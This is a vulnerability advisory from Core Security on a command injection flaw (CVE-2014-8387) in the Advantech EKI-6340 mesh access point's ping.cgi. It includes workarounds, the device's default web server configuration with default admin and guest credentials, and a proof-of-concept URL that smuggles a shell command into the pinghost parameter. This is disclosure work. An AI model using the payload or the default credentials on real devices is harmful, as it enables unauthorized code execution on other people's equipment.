Advantech EKI-6340 2.05 Command Injection Vulnerability

Advantech EKI-6340 Command Injection


1. *Advisory Information*

Title: Advantech EKI-6340 Command Injection
Advisory ID: CORE-2014-0009
Advisory URL:
http://www.coresecurity.com/advisories/advantech-eki-6340-command-injection
Date published: 2014-11-19
Date of last update: 2014-11-19
Vendors contacted: Advantech
Release mode: User release


2. *Vulnerability Information*

Class: OS Command Injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-8387


3. *Vulnerability Description*


    The Advantech EKI-6340 [1] series are wireless Mesh AP for outdoor
deployment. With self-healing and self-forming capabilities, the
wireless network is free from interruption even part of Mesh nodes
failed. It's especially critical to infrastructures where wired
solutions are hard to deploy. This Mesh network covers growing rich data
demands such as video security, surveillance and entertainment.

    Advantech EKI-6340 series is vulnerable to a OS Command Injection,
which can be exploited by remote attackers to execute arbitrary code and
commands, by using a non privileged user against a vulnerable CGI file.


4. *Vulnerable packages*


   . Advantech EKI-6340 V2.05
   . Other versions may probably be affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*


    Considering that the vendor is not going to fix or update this
device the following recommendations should be taken into consideration
in case of using a vulnerable device:

        - Change the 'guest' user password (or delete the user in case
is not used)
        - Edit the fshttpd.conf and remove the line
'guest_allow=/cgi/ping.cgi'.
        - Check that the 'admin' user doesn't has the default password
as well.
    

6. *Credits*


    This vulnerability was discovered and researched by Facundo Pantaleo
and Flavio Cangini from Core Security Engineering Team. The publication
of this advisory was coordinated by Joaquín Rodríguez Varela from Core
Advisories Team.
    

7. *Technical Description / Proof of Concept Code*


    This vulnerability is caused by an incorrect sanitization of the
input parameters of the file "ping.cgi" that is a symbolic link of
"utility.cgi".
It allows to concatenate commands after the IP direction parameter,
therefore enabling a user to inject OS commands. The "call_ping"
function inside the file "/usr/webui/webroot/cgi/utility.cgi" is where
the vulnerability lays.
    
    The CGI file requieres authentication, but the "admin" user is not
the only one allowed to execute it. Based on the webservers default
configuration file, the "guest" has permissons over it as well. This
user is rarely disbled and its password tends to remain unchanged. This
default credentials are username "user" and password "user" as well.
Below is an example of the webserver (based on Mongoose webserver [2])
default configuration file "fshttpd.conf":
    

/-----
 
    listening_ports=80,443s
    user_admin=admin
    pass_admin=admin
    user_guest=user
    pass_guest=user
    document_root=/usr/webui/webroot
    authorize_uri=/authorize
    unauthorize_uri=/unauthorize
    login_uri=/login.html
    logout_uri=/logout.html
    login_fail_uri=/err/login_fail.html
    sessions_full_uri=/err/nosessions.html
    no_redirect_uri=/cgi/fwupstatus.cgi
    guest_allow=/admin/FWUPStatus.html
    guest_allow=/status/*
    guest_allow=/utility/Ping.html
    guest_allow=/utility/RssiCalc.html
    guest_allow=/utility/FresnelZone.html
    guest_allow=/cgi/ping.cgi
    guest_allow=/cgi/status_query.cgi
    guest_allow=/cgi/nodeinfo_query_MAC.cgi
    guest_allow=/cgi/nodeinfo_query.cgi
    guest_allow=/cgi/nodeinfo_query_AP.cgi
    guest_allow=/cgi/fwupstatus.cgi
    nologin_allow=/
    nologin_allow=/index.*
    nologin_allow=/css/*
    nologin_allow=/template/*
    nologin_allow=/images/*
    nologin_allow=/images/dhtmlxcalendar_dhx_skyblue/*
    nologin_allow=/js/*
    nologin_allow=/favicon.ico
    nologin_allow=/err/*

-----/


7.1. *Proof of Concept*


/-----
 
      
   
http://localhost:80/cgi/ping.cgi?pinghost=127.0.0.1;sleep%2010&pingsize=3
     
    When requested for credentials use the following:
     
    User: user
    Password: user
      
    
-----/

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